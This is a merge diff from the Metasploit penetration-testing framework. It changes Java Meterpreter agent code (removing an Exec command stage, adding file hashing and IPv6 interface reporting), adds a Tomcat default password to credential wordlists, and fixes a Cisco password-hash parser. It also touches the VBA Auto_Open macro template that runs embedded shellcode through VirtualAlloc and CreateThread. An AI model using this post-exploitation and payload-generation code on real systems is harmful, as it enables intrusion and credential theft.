Merge branch 'rapid7' into bap-refactor
commit
31e3eb7d91
|
@ -1,5 +1,10 @@
|
|||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
external/source/meterpreter/java/extensions
|
||||
external/source/javapayload/bin
|
||||
external/source/javapayload/build
|
||||
tags
|
||||
*.swp
|
||||
*.orig
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -3,3 +3,4 @@ manager
|
|||
role1
|
||||
root
|
||||
tomcat
|
||||
s3cret
|
||||
|
|
|
@ -4,3 +4,4 @@ cxsdk kdsxc
|
|||
root owaspbwa
|
||||
ADMIN ADMIN
|
||||
xampp xampp
|
||||
tomcat s3cret
|
||||
|
|
|
@ -1,60 +0,0 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public class Exec implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
for (int i = 0; i < parameters.length; i++) {
|
||||
if (parameters[i].equals("--")) {
|
||||
// separator found. The next parameter will be the module name, and
|
||||
// all remaining parameters are for exec.
|
||||
final String[] cmdarray = new String[parameters.length - i - 2];
|
||||
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
|
||||
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,7 +1,7 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
|
@ -41,6 +41,10 @@ import java.io.PrintStream;
|
|||
|
||||
public class StreamForwarder extends Thread {
|
||||
public static void forward(InputStream in, OutputStream out) throws IOException {
|
||||
forward(in, out, true);
|
||||
}
|
||||
|
||||
public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
|
||||
try {
|
||||
final byte[] buf = new byte[4096];
|
||||
int length;
|
||||
|
@ -54,7 +58,8 @@ public class StreamForwarder extends Thread {
|
|||
}
|
||||
} finally {
|
||||
in.close();
|
||||
out.close();
|
||||
if (closeOut)
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -62,18 +67,33 @@ public class StreamForwarder extends Thread {
|
|||
private final OutputStream out;
|
||||
|
||||
private final OutputStream stackTraceOut;
|
||||
private final boolean closeOut;
|
||||
|
||||
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
|
||||
this(in,out,stackTraceOut,true);
|
||||
}
|
||||
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
|
||||
this.in = in;
|
||||
this.out = out;
|
||||
this.stackTraceOut = stackTraceOut;
|
||||
this.closeOut = closeOut;
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
forward(in, out);
|
||||
forward(in, out, closeOut);
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace(new PrintStream(stackTraceOut));
|
||||
if (stackTraceOut == null)
|
||||
throwWrapped(ex);
|
||||
ex.printStackTrace(new PrintStream(stackTraceOut, true));
|
||||
}
|
||||
}
|
||||
|
||||
private static void throwWrapped(Throwable ex) {
|
||||
/* #JDK1.4 */try {
|
||||
throw new RuntimeException(ex);
|
||||
} catch (NoSuchMethodError ex2) /**/{
|
||||
throw new RuntimeException(ex.toString());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -63,21 +63,19 @@ public interface TLVType {
|
|||
public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400;
|
||||
public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401;
|
||||
public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402;
|
||||
public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404;
|
||||
|
||||
public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420;
|
||||
public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421;
|
||||
public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422;
|
||||
public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423;
|
||||
public static final int TLV_TYPE_SUBNET6 = TLVPacket.TLV_META_TYPE_RAW | 1424;
|
||||
public static final int TLV_TYPE_NETMASK6 = TLVPacket.TLV_META_TYPE_RAW | 1425;
|
||||
public static final int TLV_TYPE_GATEWAY6 = TLVPacket.TLV_META_TYPE_RAW | 1426;
|
||||
public static final int TLV_TYPE_NETWORK_ROUTE6 = TLVPacket.TLV_META_TYPE_GROUP | 1427;
|
||||
public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424;
|
||||
|
||||
public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430;
|
||||
public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431;
|
||||
public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432;
|
||||
public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433;
|
||||
public static final int TLV_TYPE_IP6 = TLVPacket.TLV_META_TYPE_RAW | 1434;
|
||||
public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434;
|
||||
|
||||
public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440;
|
||||
public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441;
|
||||
|
|
|
@ -59,14 +59,18 @@ public class NotYetImplementedCommand implements Command {
|
|||
typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MTU), "TLV_TYPE_MTU");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_INTERFACE_INDEX), "TLV_TYPE_INTERFACE_INDEX");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP_PREFIX), "TLV_TYPE_IP_PREFIX");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP6_SCOPE), "TLV_TYPE_IP6_SCOPE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING");
|
||||
|
|
26
external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/HashCommand.java
vendored
Normal file
26
external/source/meterpreter/java/src/stdapi/com/metasploit/meterpreter/stdapi/HashCommand.java
vendored
Normal file
|
@ -0,0 +1,26 @@
|
|||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.FileInputStream;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public abstract class HashCommand implements Command {
|
||||
|
||||
protected abstract String getAlgorithm();
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
FileInputStream in = new FileInputStream(Loader.expand(request.getStringValue(TLVType.TLV_TYPE_FILE_PATH)));
|
||||
MessageDigest md = MessageDigest.getInstance(getAlgorithm());
|
||||
byte[] buf = new byte[4096];
|
||||
int len;
|
||||
while ((len = in.read(buf)) != -1) {
|
||||
md.update(buf, 0, len);
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_FILE_NAME, new String(md.digest(), "ISO-8859-1"));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
|
@ -34,9 +34,11 @@ public class Loader implements ExtensionLoader {
|
|||
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
|
||||
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
|
||||
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
|
||||
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
|
||||
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
|
||||
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
|
||||
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
|
||||
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
|
||||
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
|
||||
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
|
||||
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
public class stdapi_fs_md5 extends HashCommand {
|
||||
protected String getAlgorithm() {
|
||||
return "MD5";
|
||||
}
|
||||
}
|
|
@ -1,9 +1,6 @@
|
|||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
public class stdapi_fs_sha1 extends HashCommand {
|
||||
protected String getAlgorithm() {
|
||||
return "SHA-1";
|
||||
}
|
||||
}
|
|
@ -3,7 +3,9 @@ package com.metasploit.meterpreter.stdapi;
|
|||
import java.io.IOException;
|
||||
import java.net.InetAddress;
|
||||
import java.net.NetworkInterface;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Enumeration;
|
||||
import java.util.List;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
|
@ -13,52 +15,56 @@ import com.metasploit.meterpreter.command.Command;
|
|||
public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
int index = 0;
|
||||
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
|
||||
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
|
||||
TLVPacket ifaceTLV = new TLVPacket();
|
||||
byte[][] info = getInformation(iface);
|
||||
if (info[0] != null) {
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_IP, info[0]);
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, info[1]);
|
||||
} else {
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_IP, new byte[4]);
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, new byte[4]);
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_INTERFACE_INDEX, ++index);
|
||||
Address[] addresses = getAddresses(iface);
|
||||
for (int i = 0; i < addresses.length; i++) {
|
||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP, addresses[i].address);
|
||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP_PREFIX, new Integer(addresses[i].prefixLength));
|
||||
if (addresses[i].scopeId != null) {
|
||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP6_SCOPE, addresses[i].scopeId);
|
||||
}
|
||||
}
|
||||
addMTU(ifaceTLV, iface);
|
||||
byte[] mac = getMacAddress(iface);
|
||||
if (mac != null) {
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, mac);
|
||||
} else {
|
||||
// seems that Meterpreter does not like interfaces without
|
||||
// mac address
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, new byte[0]);
|
||||
}
|
||||
try {
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
|
||||
} catch (NoSuchMethodError e) { }
|
||||
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, info[2]);
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName());
|
||||
response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
|
||||
// not supported before 1.6
|
||||
}
|
||||
|
||||
protected byte[] getMacAddress(NetworkInterface iface) throws IOException {
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return information of this interface that cannot be determined the same way for all Java versions. Currently this includes ip, network mask and MAC address.
|
||||
* Return address information of this interface that cannot be determined
|
||||
* the same way for all Java versions.
|
||||
*
|
||||
* @param iface
|
||||
* @return ip, network mask and MAC address
|
||||
* @return Array of {@link Interface}
|
||||
*/
|
||||
public byte[][] getInformation(NetworkInterface iface) throws IOException {
|
||||
byte[] ip = null;
|
||||
public Address[] getAddresses(NetworkInterface iface) throws IOException {
|
||||
List/* <Address> */result = new ArrayList();
|
||||
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
|
||||
InetAddress addr = (InetAddress) en.nextElement();
|
||||
if (addr.getAddress().length == 4) {
|
||||
ip = addr.getAddress();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (ip == null) {
|
||||
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
|
||||
InetAddress addr = (InetAddress) en.nextElement();
|
||||
ip = addr.getAddress();
|
||||
break;
|
||||
}
|
||||
}
|
||||
byte[] netmask = null;
|
||||
if (ip != null) {
|
||||
byte[] ip = addr.getAddress();
|
||||
if (ip == null)
|
||||
continue;
|
||||
int prefixLength = 0;
|
||||
if (ip.length == 4) {
|
||||
// guess netmask by network class...
|
||||
|
@ -70,17 +76,24 @@ public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get
|
|||
prefixLength = 24;
|
||||
}
|
||||
}
|
||||
netmask = createNetworkMask(ip.length, prefixLength);
|
||||
result.add(new Address(ip, prefixLength, null));
|
||||
}
|
||||
return new byte[][] { ip, netmask, new byte[6] };
|
||||
return (Address[]) result.toArray(new Address[result.size()]);
|
||||
}
|
||||
|
||||
protected static byte[] createNetworkMask(int length, int prefixLength) {
|
||||
byte[] netmask = new byte[length];
|
||||
for (int i = 0; i < prefixLength; i++) {
|
||||
netmask[i / 8] |= (1 << (7 - (i % 8)));
|
||||
/**
|
||||
* An IP address associated to an interface, together with a prefix length
|
||||
* and optionally a scope.
|
||||
*/
|
||||
protected static class Address {
|
||||
public final byte[] address;
|
||||
public final int prefixLength;
|
||||
public final byte[] scopeId;
|
||||
|
||||
public Address(byte[] address, int prefixLength, byte[] scopeId) {
|
||||
this.address = address;
|
||||
this.prefixLength = prefixLength;
|
||||
this.scopeId = scopeId;
|
||||
}
|
||||
return netmask;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -1,40 +1,42 @@
|
|||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.Inet6Address;
|
||||
import java.net.InterfaceAddress;
|
||||
import java.net.NetworkInterface;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
|
||||
public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 {
|
||||
|
||||
public byte[][] getInformation(NetworkInterface iface) throws IOException {
|
||||
byte[] ip = null;
|
||||
public Address[] getAddresses(NetworkInterface iface) throws IOException {
|
||||
List/* <Address> */result = new ArrayList();
|
||||
List addresses = iface.getInterfaceAddresses();
|
||||
int prefixLength = 0;
|
||||
for (Iterator it = addresses.iterator(); it.hasNext();) {
|
||||
InterfaceAddress addr = (InterfaceAddress) it.next();
|
||||
if (addr.getAddress().getAddress().length == 4) {
|
||||
ip = addr.getAddress().getAddress();
|
||||
prefixLength = addr.getNetworkPrefixLength();
|
||||
break;
|
||||
byte[] ip = addr.getAddress().getAddress();
|
||||
if (ip == null)
|
||||
continue;
|
||||
int prefixLength = addr.getNetworkPrefixLength();
|
||||
byte[] scopeId = null;
|
||||
if (addr.getAddress() instanceof Inet6Address) {
|
||||
ByteBuffer bb = ByteBuffer.allocate(4);
|
||||
bb.order(ByteOrder.BIG_ENDIAN);
|
||||
bb.putInt(((Inet6Address) addr.getAddress()).getScopeId());
|
||||
scopeId = bb.array();
|
||||
}
|
||||
result.add(new Address(ip, prefixLength, scopeId));
|
||||
}
|
||||
if (ip == null) {
|
||||
for (Iterator it = addresses.iterator(); it.hasNext();) {
|
||||
InterfaceAddress addr = (InterfaceAddress) it.next();
|
||||
ip = addr.getAddress().getAddress();
|
||||
prefixLength = addr.getNetworkPrefixLength();
|
||||
break;
|
||||
}
|
||||
}
|
||||
byte[] netmask = null;
|
||||
if (ip != null) {
|
||||
netmask = createNetworkMask(ip.length, prefixLength);
|
||||
}
|
||||
byte[] mac = iface.getHardwareAddress();
|
||||
if (mac == null)
|
||||
mac = new byte[6];
|
||||
return new byte[][] { ip, netmask, mac };
|
||||
return (Address[]) result.toArray(new Address[result.size()]);
|
||||
}
|
||||
|
||||
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
|
||||
}
|
||||
}
|
||||
|
|
|
@ -14,15 +14,26 @@ public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_rou
|
|||
stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces");
|
||||
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
|
||||
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
|
||||
TLVPacket ifaceTLV = new TLVPacket();
|
||||
byte[][] info = getIfaceCommand.getInformation(iface);
|
||||
if (info[0] != null) {
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, info[0]);
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, info[1]);
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[info[0].length]);
|
||||
stdapi_net_config_get_interfaces_V1_4.Address[] addresses = getIfaceCommand.getAddresses(iface);
|
||||
for (int i = 0; i < addresses.length; i++) {
|
||||
TLVPacket ifaceTLV = new TLVPacket();
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, addresses[i].address);
|
||||
int length = addresses[i].address.length;
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, createNetworkMask(length, addresses[i].prefixLength));
|
||||
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[length]);
|
||||
response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV);
|
||||
}
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
private static byte[] createNetworkMask(int length, int prefixLength) {
|
||||
if (prefixLength > length * 8)
|
||||
prefixLength = length * 8;
|
||||
byte[] netmask = new byte[length];
|
||||
for (int i = 0; i < prefixLength; i++) {
|
||||
netmask[i / 8] |= (1 << (7 - (i % 8)));
|
||||
}
|
||||
return netmask;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -416,7 +416,13 @@ class ReadableText
|
|||
framework.sessions.each_sorted { |k|
|
||||
session = framework.sessions[k]
|
||||
|
||||
row = [ session.sid.to_s, session.type.to_s, session.info.to_s, session.tunnel_to_s + " (#{session.session_host})" ]
|
||||
sinfo = session.info.to_s
|
||||
# Arbitrarily cut it at 80 columns
|
||||
if sinfo.length > 80
|
||||
sinfo = sinfo[0,77] + "..."
|
||||
end
|
||||
|
||||
row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ]
|
||||
if session.respond_to? :platform
|
||||
row[1] += " " + session.platform
|
||||
end
|
||||
|
|
|
@ -282,8 +282,8 @@ module Auxiliary::Cisco
|
|||
|
||||
when /^\s*username ([^\s]+) (secret|password) (\d+) ([^\s]+)/i
|
||||
user = $1
|
||||
stype = $2.to_i
|
||||
shash = $3
|
||||
stype = $3.to_i
|
||||
shash = $4
|
||||
|
||||
if stype == 5
|
||||
print_good("#{thost}:#{tport} Username '#{user}' with MD5 Encrypted Password: #{shash}")
|
||||
|
|
|
@ -208,7 +208,7 @@ public
|
|||
w = {}
|
||||
w[:name] = wspace.name
|
||||
w[:created_at] = wspace.created_at.to_i
|
||||
w[:modified_at] = wspace.modified_at.to_i
|
||||
w[:updated_at] = wspace.updated_at.to_i
|
||||
ret[:workspace] << w
|
||||
end
|
||||
ret
|
||||
|
@ -756,7 +756,7 @@ public
|
|||
wspace.loots.all(:limit => limit, :offset => offset).each do |l|
|
||||
loot = {}
|
||||
loot[:host] = l.host.address if(l.host)
|
||||
loot[:service] = l.service.name || n.service.port if(n.service)
|
||||
loot[:service] = l.service.name || l.service.port if(l.service)
|
||||
loot[:ltype] = l.ltype
|
||||
loot[:ctype] = l.content_type
|
||||
loot[:data] = l.data
|
||||
|
|
|
@ -857,11 +857,11 @@ require 'digest/sha1'
|
|||
bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
|
||||
end
|
||||
|
||||
"#If Vba7 Then
|
||||
"#If Vba7 Then
|
||||
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
|
||||
#Else
|
||||
#Else
|
||||
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
|
||||
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
|
||||
Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
|
||||
|
@ -869,9 +869,9 @@ Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As L
|
|||
|
||||
Sub Auto_Open()
|
||||
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
|
||||
#If Vba7 Then
|
||||
#If Vba7 Then
|
||||
Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
|
||||
#Else
|
||||
#Else
|
||||
Dim #{var_rwxpage} As Long, #{var_res} As Long
|
||||
#EndIf
|
||||
#{var_myArray} = Array(#{bytes})
|
||||
|
@ -1011,7 +1011,7 @@ End Sub
|
|||
vbs << "%>\r\n"
|
||||
vbs
|
||||
end
|
||||
|
||||
|
||||
def self.to_exe_aspx(exes = '', opts={})
|
||||
exe = exes.unpack('C*')
|
||||
|
||||
|
@ -1077,7 +1077,7 @@ End Sub
|
|||
def self.to_win32pe_asp(framework, code, opts={})
|
||||
to_exe_asp(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
||||
|
||||
def self.to_win32pe_aspx(framework, code, opts={})
|
||||
to_exe_aspx(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
@ -1808,7 +1808,7 @@ End Sub
|
|||
|
||||
when 'aspx'
|
||||
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
|
||||
|
||||
|
||||
when 'war'
|
||||
arch ||= [ ARCH_X86 ]
|
||||
tmp_plat = plat.platforms if plat
|
||||
|
|
|
@ -124,14 +124,18 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
return true
|
||||
end
|
||||
|
||||
fd = client.fs.file.new(args[0], "rb")
|
||||
if (client.fs.stat(args[0]).directory?)
|
||||
print_error("#{args[0]} is a directory")
|
||||
else
|
||||
